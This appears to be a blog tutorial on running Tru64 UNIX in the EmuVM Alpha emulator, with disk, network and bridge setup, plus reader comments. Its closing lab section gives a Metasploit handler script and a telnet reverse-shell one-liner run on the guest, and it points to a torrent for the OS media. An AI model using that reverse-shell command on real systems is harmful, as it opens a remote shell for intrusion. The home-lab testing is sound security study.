Running Tru64 UNIX inside a VM for Metasploit testing

With Virtual technology nowadays it is possible to emulate almost anything, and for those that wish to play around with not-so-common operation systems for the Alpha processor family there exists a great software called EmuVM, which is available for free for either Windows or Linux here

Please check the updated report on Tru64 in alphavm

This emulator is capable of emulation a various number of Alpha servers and is probably the best choice for a modern 64bit linux system. I have made all tests on Debian 64bit with GRSEC patched kernel 3.6.55.  There is very little information about Tru64 UNIX regarding installing and running inside a VM so I have decided to update this gap with some of my findings. Also I will show you how to perform some simple Metasploit operations against the Tru64 system.

So the first thing is probably obtaining a copy of the EmuVM software from the above link, I have used the stable version  Once unpacked there are 2 important files, the alphavm binary and the configuration file. I will post my configuration file that I have used to install Tru64 5.1B which emulates the AlphaServer DS10 616 MhZ

alphaHere is the example config.emu for the above model

 system {
 type = ds10_616;
 reported_type = default;
 num_cpus = 1;
 ssn = 'EmuVM-00-000-001';
 interval_clock_freq = 1000;
memory {
 size = 512;
cpu {
 server = basic;
jit {
 async = yes;
serial com1 {
 server = socket;
 port = 3000;
serial com2 {
 server = socket;
 port = 3001;
scsi_controller qla0 {
 scsi_id = 7;
scsi_controller qla1 {
 scsi_id = 7;
scsi_disk dka0 {
 scsi_bus = 0;
 scsi_id = 0;
 scsi_lun = 0;
 file = 'disk.dd';
 caching = no;
 write_through = yes;
scsi_cdrom iso {
 scsi_id = 4;
 file = 'Tru64.iso';
ether eth0 {
 type = dec21040;
 server = dummy;
 mac_address = 0x08002B000001;
ether eth1 {
 type = dec21040;
 server = tap;
 interface = 'tap0';
 mac_address = 0x08002B000002;


The important parts in this config file are the virtual disk location and the network card settings. I have kept all the files in the root folder where the alphavm binary resides.  In order for us to install Tru64 onto a harddisk we need to prepare a file that will hold the system on our host. (2 Gigs is enough)

dd if=/dev/zero of=disk.dd bs=1024 count=2M

Once we have this, next step is getting the installation media for the actual Tru64 System. If you have the CDs you can just dd them into an ISO, if not, have a look on the PirateBay, there is a torrent that has the :

-rw-r--r-- 1 user user 443 Feb 8 10:00 README.txt
-rw-r--r-- 1 user user 216601968 Feb 8 10:00 T64V51BB27AS0006_install.iso.bz2
-rw-r--r-- 1 user user 427318884 Feb 8 10:00 Tru64_5.1B_GNU_VOL1.img.bz2
-rw-r--r-- 1 user user 531119101 Feb 8 10:00 Tru64_5.1B_PORT_VOL1.img.bz2
-rw-r--r-- 1 user user 429326071 Feb 8 10:00 V5.1Br2650_A1.iso.bz2
-rw-r--r-- 1 user user 343522410 Feb 8 10:00 V5.1Br2650_A2.iso.bz2
-rw-r--r-- 1 user user 383672280 Feb 8 10:00 V5.1Br2650_O1.iso.bz2

You really only need the install ISO V5.1Br2650_O1.iso.bz2  and the PATCH ISO T64V51BB27AS0006_install.iso.bz2

So once you have the ISO and HDD file in place, boot the VM like so :

./alphavm_free config.emu

And connect to the VM machine via socat like so:

socat -,raw,echo=0,escape=0x1c tcp:

Of course you can use other programs to connect like telnet or putty but there are problems with escape sequences in the terminal emulation, best results for me are with socat.

user@Obelix:~/KVM/Alpha/Tru64$ ./ 
 Welcome to EmuVM hardware emulator.
 Copyright 2010 - 2012, Artem Alimarin. All rights reserved.
 Please visit for more information.
show devices
pka SCSI Controller
dka0 SCSI 0 14 0 0 0 0 0
dka400 SCSI 0 14 0 0 400 0 0
pkb SCSI Controller
ewa MOP 0 9 0 0 0 3 0 (08:00:2b:00:00:01)
ewb MOP 0 11 0 0 0 3 0 (08:00:2b:00:00:02)

So we first need to boot the CD in order to install Tru64, this has to be done by telling which SCSI device to boot from, in our case it is dka400 (CDROM) while the dka0 is the HDD.

boot dka400

The ISO boots into a single user mode from which we can perform the actual installation. Anybody with some background with Linux/BSD/Unix can setup the system, it is not difficult and I am not going to cover this here, simply experiment or use default values during the installer process. Once finished you can apply the 5.1B patches from the other ISO to the current system but it is not necessary (must be installed from the Tru64 as the patch CD is not bootable)

Once finished boot the HDD via :

boot dka0

The most important thing is setting up the network on the host and the guest. First I will show and example how to configure this via a simple shellscript that configures the tap0 and bridge interfaces. In my scenario I use a laptop with 2 network cards, one is wlan0 (wireless) other is eth0 (Ethernet). I have decided to use the Ethernet interface for interacting with the guest VM and wireless for internet connection. So here is the script that sets up the necessary stuff:

tunctl -t tap0 -u user
ifconfig tap0 up
brctl addbr br0
brctl addif br0 eth0
brctl setfd br0 0
ifconfig eth0 up 
ifconfig br0 netmask broadcast up
route add -net gw
brctl addif br0 tap0
ifconfig tap0
iptables -A POSTROUTING -j MASQUERADE -s -t nat

Explanation: I setup my eth0 as and the Tru64 VM as 10.2.10 so the VM and HOST can communicate on this sub-net. Wireless is on another sub-net, if you want to connect to the internet from the VM, add a default route to the network.  So before starting the AlphaVM run this script first to get the network working. I have used a second virtual interface in the config.emu

ether eth1 {
 type = dec21040; 
 server = tap;
 interface = 'tap0'; 
 mac_address = 0x08002B000002;

The first one is just a dummy the second one using tap0 interface, make sure you don’t have the same MAC address as the tap0 device.

On the Tru64 system I have a fixed IP address for the tu1 interface like so:

 inet netmask ffffff00 broadcast ipmtu 1500

So now lets see how we can perform a first test on the Virtual Tru64. Lets see if we can get a reverse shell. As there is very limited info about Alpha shellcode :) we are probably stuck in using something inbuilt, like telnet or perl. Telnet reverse shell works fine. You can try running a Metasploit listerner on the host via this script:

echo "***************************************************************"
echo " Automatic shellcode generator - FOR METASPLOIT "
echo "***************************************************************"
echo -e "What Port Number are we gonna listen to? : \c"
read port
echo " starting the meterpreter listener.."
./msfcli exploit/multi/handler PAYLOAD=cmd/unix/reverse LHOST= LPORT=$port E

And run the following command on the target Tru64 system:

sh -c '(sleep 4074|telnet 8000|while : ; do sh && break; done 2>&1|telnet 8000 >/dev/null 2>&1 &)'

It works well, and for our educational purposes this servers as a good example. I believe there is a book out there called ShellCoders HandBook that covers Tru64 security in one dedicated chapter. The examples there can be verified using this VM setup and one can gain some knowledge of Tru64 Unix.

Here is a little video demonstration of the above Metasploit test against Tru64


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11 Responses to Running Tru64 UNIX inside a VM for Metasploit testing

  1. Vu says:

    hi! my company use unix 64bit on Alphaserver DS10 for host and can u help me ghost unix 64bit exam: how, sofware tool. Thank u very much
    P/S: sorry my E is not good if u don’t understand

    • astr0baby says:


      everything is written in the article on how to setup a TRU64 virtual system. Just follow the steps. You need the emuvm alpha emulator and the original ISOs for TRU64 to install.

      Good luck :)

      • Vu says:

        i can’t find “how to setup a TRU64 virtual system”, i want to ghost Unix 64 and alphavm is running on 64bit, but may laptop only 32bit, so how can i install it on my laptop

      • astr0baby says:

        ummm…if your laptop is 32bit only then I skeem you should forget about emulating Tru64 man ;)

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  4. mrsof says:

    Thx for this tutorial. unfortunately, emuvm alpha emulator is no more available to download on the website. Do you know an alternative ?

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